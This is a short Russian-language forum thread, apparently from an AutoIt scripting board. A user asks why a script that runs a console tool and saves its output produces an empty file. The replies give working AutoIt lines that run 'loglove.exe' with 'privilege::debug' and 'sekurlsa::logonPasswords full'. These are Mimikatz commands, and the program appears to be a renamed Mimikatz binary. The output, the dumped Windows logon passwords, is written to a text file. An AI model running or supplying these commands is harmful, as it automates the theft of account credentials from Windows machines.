Что нового

[Автоматизация] консоль Microsoft Visual C/C++(2008 SP1)

Wulk@n

Новичок
Сообщения
34
Репутация
0
Привет Нужна ваша помощь Есть консоль написана на Microsoft Visual C/C++(2008 SP1) нужно чтобы запускалась консоль вбивались 2-3 команды а результат сохранялся в текстовый файл За основу взял этот скрипт :
Код:
Local $iPID = Run("loglove.exe" & " logon"&" Passwords ") 
ProcessWaitClose($iPID)
Local $hFile = FileOpen("log.txt", 2)
FileWrite($hFile, StdoutRead($iPID))
FileClose($hFile)


Но тхт файл пустой в чем ошибка ?
 

alex33

Скриптер
Сообщения
1,457
Репутация
186
Wulk@n [?]
Но тхт файл пустой в чем ошибка ?
А флаг (opt_flag) (четвёртый последний параметр) у функции Run вы забыли указать.
Можно например так:
Код:
Local $iPID = Run("loglove.exe" & " privilege::debug"&" sekurlsa::logonPasswords full", "", Default, 6)
 

ildar

Осваивающий
Сообщения
252
Репутация
29
не проще тут же писать в лог-файл
Код:
Local $iPID = Run("loglove.exe" & " privilege::debug"&" sekurlsa::logonPasswords full>c:\log.txt", "", Default, 6)
 
Верх